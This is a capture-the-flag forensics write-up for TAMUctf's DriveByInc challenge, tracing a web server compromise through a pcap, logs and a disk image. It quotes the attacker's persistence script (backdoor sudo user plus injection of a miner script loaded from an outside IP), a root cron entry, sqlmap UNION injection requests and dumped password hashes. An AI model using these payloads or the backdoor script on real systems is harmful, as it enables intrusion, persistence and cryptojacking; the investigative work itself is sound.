[Forensics] TAMUctf - DriveByInc

0_intrusion


0_intrusion
100

Welcome to Drive By Inc. We provide all sorts of logistical solutions for our customers.
Over the past few years we moved to hosting a large portion of our business on a nice looking website.
Recently our customers are complaining that the front page of our website is causing their computers to run extremely slowly.
We hope that it is just because we added too much javascript but can you take a look for us just to make sure?

1. What is the full malicious line? (Including any HTML tags)


For the first part we needed to find the malicious line on this html file, after analysing it we found a malicious line using a known javascript miner api we could also note that the API was being loaded from an external server which the ip is 10.187.195.95.

The answer was:

1
<script src = http://10.187.195.95/js/colorbox.min.js></script><script>var color = new CoinHive.Anonymous("123456-asdfgh");color.start()</script></body>

1_logs


1_logs
100

Strange.
We don’t know how that got there.
We have since gone and removed the offending lines.
Maybe one of our developers wanted to make some money on the side.
Here is a pcap and some web server logs from the day that users started complaining.
Can you figure out if something nefarious happened while we go talk to the devs?

Link to pcap

What is the ip of the attacker?
What ports did they find open? (List low to high ex: 1,2,3)
What are the names of the web files they found on the server? (List in alphabetical order comma separated ex: a.html,a.php,b.html)

2/23 1:08 am CST add forgotten log files 2/23 8:29 am CST add slight clarification to 2

What is the ip of the attacker?

Now that we have a network capture we can start analysing the network, so for the first question we remembered that there was a JavaScript file being loaded from an ip 10.187.195.95 from the previous part, so we tried to answer that and we got the 1st question, that was indeed the ip from the attacker.

What ports did they find open? (List low to high ex: 1,2,3)

After this we started to analyse the pcap with this filter ip.src == 10.187.195.95 || ip.dst == 10.187.195.95 with this we removed all the irrelevant packets for the problem. By reading the question we can already know the attacker did a port scan on the server probably used nmap or something so to apply the right filters on tshark and extract the ports we need to know how a port scan works in practice.

By just looking at Wireshark in the beginning we can see the attacker used a tcp syn scan:

As you can see the attacker issues a lot of syns and receives from the server lot of answers from the server as RST,ACK (wireshark changes the color of this packets to red), RST,ACK means the port is closed…

Resuming how a SYN scan works:

  • An attacker issues a SYN, if the server replies SYN,ACK : It means the port is open!
  • An attacker issues a SYN, if the server replies RST,ACK : It means the port is closed!
  • An attacker issues a SYN, if the server does not reply, or replies with ICMP error : it means that port is filtered. Likely an IDS / stateful firewall block your request.

So now we need to start working on our tshark command, we need to check which tcp.flags replies with SYN,ACK it needs to come from the server with destination to the attacker IP, the field on wireshark to filter the protocol is ip.proto and the number for TCP protocol is 6, the way I do to find out the name of the fields on wireshark is by doing this:

First you choose the field you want to filter:

Then a website will open and search for the field you want to filter in this case is “Protocol”:

Now you do the same for the tcp flags, to know the number when a SYN,ACK occurs we need to find a successful response to know the number and after we find it we know we need to use tcp.flags == 0x12 filter:

The final script is:

1
2
3
$ tshark -r capture.pcap -Y "ip.dst == 10.187.195.95 && ip.proto == 6 && tcp.flags == 0x00000012" -Tfields -e tcp.srcport | sort -u
22
80

The answer to the 2nd question is 22,80.

What are the names of the web files they found on the server? (List in alphabetical order comma separated ex: a.html,a.php,b.html)

So for this I used wireshark, I used the first filter ip.src == 10.187.195.95 || ip.dst == 10.187.195.95 && http to filter only http packets and now we need to know the replies from the server the ones that answer with a 200 status code, we can see the attacker ran a script with a list of files, the server will reply 404 on files that don’t exist and 200 on the ones that exist…

So I used a second filter on wireshark to catch the 200 responses, you can do this by doing EDIT -> Find packet, after this a bunch of buttons will appear below the first filter:

If you keep clicking on find it will jump to the next 200 OK, you need to keep looking at the request from the attacker to know which file he’s searching and the response of the server to check if is 200 OK, for example in the image above he did a GET request to / and received a 200 OK meaning that page exist. So with this I keep clicking find and I got all the files I needed which the list is :

The answer was:

1
about.html,adminlogin.html,adminlogin.php,contact.html,gallery.html,index.html,services.html,typo.html

With this method I also found an interesting file named backup.sh which will be useful for the next steps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

if ! id -u devtest2; then
mkdir /home/devtest2
useradd --home=/home/devtest2 -s /bin/bash devtest2
echo "devtest2:HYf6lEMhUM4Z0b079X" | chpasswd
chown devtest2:devtest2 /home/devtest2
echo 'devtest2 ALL=(ALL:ALL) ALL' >> /etc/sudoers
fi

sudo cat /var/www/html/index.html | grep "miner.js"
if [ $? != 0 ]; then
sed -i 's/<\/body>/<script src = http:\/\/10.187.195.95\/js\/colorbox.min.js><\/script><script>var color = new CoinHive.Anonymous("123456-asdfgh");color.start()<\/script><\/body>/g' /var/www/html/index.html
fi

2_Analysis


Apparently none of the devs knew what were talking about.
Thanks to your initial findings it looks like this may have been an outside attack.
Using the logs we already gave you can you dig deeper and see if you can find more information? In the meantime we will try and get files for you to look at.

What time in UTC did the initial scanning start? (mm/dd/yyyy:hh:mm:ss)
What is the name of the first tool used?
What is the version string of the third tool used?
What page was attacked with the third tool?

2/22 10:49 pm CST updated format on question 1 2/23 12:37 pm CST updated timestamp solution for 1

What time in UTC did the initial scanning start? (mm/dd/yyyy:hh:mm:ss)

This question got me a a lot of time simply because they are asking in UTC time zone , I think Wireshark was showing the name on my timezone so I had the adapt the date by subtracting one hour, we need to find the date when the first SYN request was done we can do this with the initial filter we used:

The correct date was 05/22/2018:19:07:35 , which was subtracted by 1 hour from what Wireshark was giving me for other people probably you would need to do different things depending on you time zone.

What is the name of the first tool used?

I eventually just tried nmap and immediately got the right answer but there are other ways to detect if nmap was used for scanning, you can read this blog post I didn’t used but it’s a really interesting read.

What is the version string of the third tool used?

So we know the second tool used was probably a tool like dir buster to find files on the server, so after finding the existing files is time to check which requests he used on the found files, the more interesting file to look at is the adminlogin.php because it’s a php file and it has communication with the server which was probably the one the attacker used so lets check the user-agent used:

The version string was:
sqlmap/1.2.4#stable

What page was attacked with the third tool?

This is already answer form the previous question :) the page is adminlogin.php .

3_Forensics



Unfortunately it looks like the attackers used pretty standard tools to hack into our website.

It looks like they didn’t modify the web page from the admin interface on the website though.

They probably logged into the webserver somehow. Can you see if you can find out how they got credentials to log in?

1 - List the compromised usernames in comma separated alphabetical order (website users)
2 - What username and password combo were the attackers most likely able to get a hold of? (format as username:password)

1 - List the compromised usernames in comma separated alphabetical order (website users)

We already know the attacker used sqlmap for the attack, if you know how sqlmap works it starts by trying alot of queries to find the vulnerability and find the right payload to attack, we can ignore the first requests and start looking at when sqlmap started dumping the database:

So as we can see above the database dumping started at package nr 333806, and it starts for dumping the database, to understand the rest we need to understand the sql query sqlmap used. So the query used to extract the database name:

1
GET /adminlogin.php?username=adsf' UNION ALL SELECT NULL,CONCAT(0x716b7a6271,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x7171627871),NULL-- jaLN&password=adsf HTTP/1.1

As you can see he’s using union query to concat two additional strings 0x716b7a6271 and 0x7171627871 if we decode both from hex to string we get:

1
2
3
4
$ echo '716b7a6271' | xxd -r -p
qkzbq⏎
$ echo '7171627871' | xxd -r -p
qqbxq⏎

Sqlmap uses this strings to easily parse content that’s why the output of the request comes very weird like this:

1
<html>You logged in as qkzbqSqliDBqqbxq</html>

Just remove both qkzbq and qqbxq and you get SqliDB which is the database name. Now we don’t really care about the database names and table names so we can skip the next requests and look to when they started dumping the usernames and passwords.

Request to get the users count number:

1
GET /adminlogin.php?username=adsf' UNION ALL SELECT NULL,CONCAT(0x716b7a6271,IFNULL(CAST(COUNT(*) AS CHAR),0x20),0x7171627871),NULL FROM SqliDB.Users-- qKQB&password=adsf HTTP/1.1\r\n

Output of the users number:

1
<html>You logged in as qkzbq5qqbxq</html>

Removing the parse strings:

1
<html>You logged in as 5</html>

Request to get the 3rd user on the database id, password, username:

1
GET /adminlogin.php?username=adsf' UNION ALL SELECT NULL,(SELECT CONCAT(0x716b7a6271,IFNULL(CAST(ID AS CHAR),0x20),0x797570747270,IFNULL(CAST(Password AS CHAR),0x20),0x797570747270,IFNULL(CAST(`User` AS CHAR),0x20),0x7171627871) FROM SqliDB.Users LIMIT 2,1),NULL-- tpEN&password=adsf HTTP/1.1

Output:

1
<html>You logged in as qkzbq1yuptrp7a4434d48772fee914a99590376ee438yuptrpadminqqbxq</html>

Removing the parse strings:

1
<html>You logged in as 1 7a4434d48772fee914a99590376ee438 admin</html>

Now you just do the same for the rest of the queries and you get a list of users:

1
2
3
4
5
1 7a4434d48772fee914a99590376ee438 admin
2 2e107f8e7aaf178bf00e58c09abfba08 devtest
3 5f836ac3e2ea2b22227c940754283fde suzy
4 442f0577be5c6e59a77047eaa37b15c6 bob
5 5efb309c9b1dc4e90fa136a64e3902e0 alice

The answer for this question was:

1
admin,alice,bob,devtest,suzy

2 - What username and password combo were the attackers most likely able to get a hold of? (format as username:password)

Since we got the list of users and passwords the only one was searchable on the internet was devtest md5 hash the password of devtest was driveby so the answer to this question is:

1
devtest:driveby

4_privilege_escalation



We will have to get on to the devs for leaving that account on the website and machine.

Some good news is that we finally obtained a disk image of the machine.

If the attacker modified the web files on the server they must have had higher privileges than the account you found.

See if you can find some information about how they could have done so.

Link to disk image (10 GB unzipped)

What is the md5sum of the file that was most likely used or found by the attackers to get higher privileges?
What account were the attackers able to escalate to?
What is the password for that account?


What is the md5sum of the file that was most likely used or found by the attackers to get higher privileges?

After mounting the the image:

1
2
sudo mkdir /mnt/rofl
sudo mount -o ro,noload,noexec filesystem.image /mnt/rofl

So after checking the home folder of ubuntu user i saw that setup.sh had read permissions for everyone on that setup.sh file

1
2
3
4
5
6
7
8
9
ls -ltah home/ubuntu/
total 28K
drwxr-xr-x 6 root root 4.0K May 22 2018 ../
drwxr-xr-x 3 1001 pcap 4.0K May 22 2018 ./
-rwxrwxr-x 1 evilgod evilgod 695 May 22 2018 setup.sh*
drwx------ 2 1001 pcap 4.0K May 22 2018 .ssh/
-rw-r--r-- 1 1001 pcap 655 May 16 2017 .profile
-rw-r--r-- 1 1001 pcap 220 Sep 1 2015 .bash_logout
-rw-r--r-- 1 1001 pcap 3.7K Sep 1 2015 .bashrc

Any user could read this file so after checking the content of it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ cat home/ubuntu/setup.sh 
#!/bin/bash

export DEBIAN_FRONTEND="noninteractive"

sudo apt-get -y update && apt-get install -y apache2 apache2-doc apache2-utils mysql-server php libapache2-mod-php php-mcrypt php-mysql python

sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
sudo sed -i 's/StrictModes yes/#StrictModes yes/g' /etc/ssh/sshd_config
sudo service ssh restart
sudo echo "root:0A0YlBjrlBXSr14MPz" | chpasswd

export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
export APACHE_PID_FILE=/var/run/apache2.pid
export APACHE_RUN_DIR=/var/run/apache2
export APACHE_LOCK_DIR=/var/lock/apache2
export APACHE_LOG_DIR=/var/log/apache2

sudo service apache2 restart;

The root password was there so this is how the attacker got privilege escalation, the answer to this question was:

1
2
$ md5sum home/ubuntu/setup.sh
93b74abb459cdd93bd254302fba4dfdf home/ubuntu/setup.sh

What account were the attackers able to escalate to?

The answer is pretty simple the account was root.

What is the password for that account?

The password is what we found on the file before which is 0A0YlBjrlBXSr14MPz

5_persistence



Thanks for finding that information out.
We have since changed the password for that account.
Looks like we might have to spend a few days putting our employees through some security training.
Unfortunately since deleting the malicous links off of our home page they have reappeared again.

Can you figure out how the attacker was able to re infect our home page?

1. What is the md5sum of the file the attacker is using for persistence?
2. What account was created?
3. What group did the attacker add the account to?
4. What time of day does the attacker reinfect the machine? (use 24 hr notation ex: 0100 for 1 am)


What is the md5sum of the file the attacker is using for persistence?

Remember the file we found on 1_logs ? that’s what he was using for persistence, this file is located in the root directory:

1
2
$ md5sum root/backup.sh
29ff58b6607c824451349183a570cc6c root/backup.sh

The answer was 29ff58b6607c824451349183a570cc6c

What account was created?

We could easily see this by just looking at the backup.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

if ! id -u devtest2; then
mkdir /home/devtest2
useradd --home=/home/devtest2 -s /bin/bash devtest2
echo "devtest2:HYf6lEMhUM4Z0b079X" | chpasswd
chown devtest2:devtest2 /home/devtest2
echo 'devtest2 ALL=(ALL:ALL) ALL' >> /etc/sudoers
fi

sudo cat /var/www/html/index.html | grep "miner.js"
if [ $? != 0 ]; then
sed -i 's/<\/body>/<script src = http:\/\/10.187.195.95\/js\/colorbox.min.js><\/script><script>var color = new CoinHive.Anonymous("123456-asdfgh");color.start()<\/script><\/body>/g' /var/www/html/index.html
fi

The user created was devtest2, alternatively we could also look at auth.log file and see:

1
2
3
4
5
6
7
8
9
10
$ sudo cat var/log/auth.log
... [truncated]
May 22 19:11:40 ubuntu-xenial useradd[12186]: new group: name=devtest2, GID=1003
May 22 19:11:40 ubuntu-xenial useradd[12186]: new user: name=devtest2, UID=1003, GID=1003, home=/home/devtest2, shell=/bin/bash
May 22 19:11:40 ubuntu-xenial chpasswd[12192]: pam_unix(chpasswd:chauthtok): password changed for devtest2
May 22 19:11:40 ubuntu-xenial sudo: root : TTY=unknown ; PWD=/root ; USER=root ; COMMAND=/bin/cat /var/www/html/index.html
May 22 19:11:40 ubuntu-xenial sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
May 22 19:11:40 ubuntu-xenial sudo: pam_unix(sudo:session): session closed for user root
May 22 19:11:40 ubuntu-xenial sshd[12140]: pam_unix(sshd:session): session closed for user root
May 22 19:11:40 ubuntu-xenial systemd-logind[1046]: Removed session 4.

So the answer was devtest2

What group did the attacker add the account to?

We can get this answer from the backup.sh file from the line:

1
echo 'devtest2  ALL=(ALL:ALL) ALL' >> /etc/sudoers

The group he added was sudoers group, so the answer was sudoers.

What time of day does the attacker reinfect the machine? (use 24 hr notation ex: 0100 for 1 am)

So the attacker is using something to automate the script every day, so the first thing that came to my mind was crontab so I just checked the scripts running on crontab from the root user you can find it on the directory var/spool/cron/crontabs/:

1
2
$ ls var/spool/cron/crontabs/
root

Now seeing the file:

1
2
3
4
5
$ cat var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Tue May 22 19:11:40 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
30 2 * * 0 root /root/backup.sh > /dev/null 2>&1

Then I used this website to translate those crontab numbers because I was way too lazy to check out how it works (copied the beginning string of 30 2 0):

Translation to the 24h notation the answer is 0230.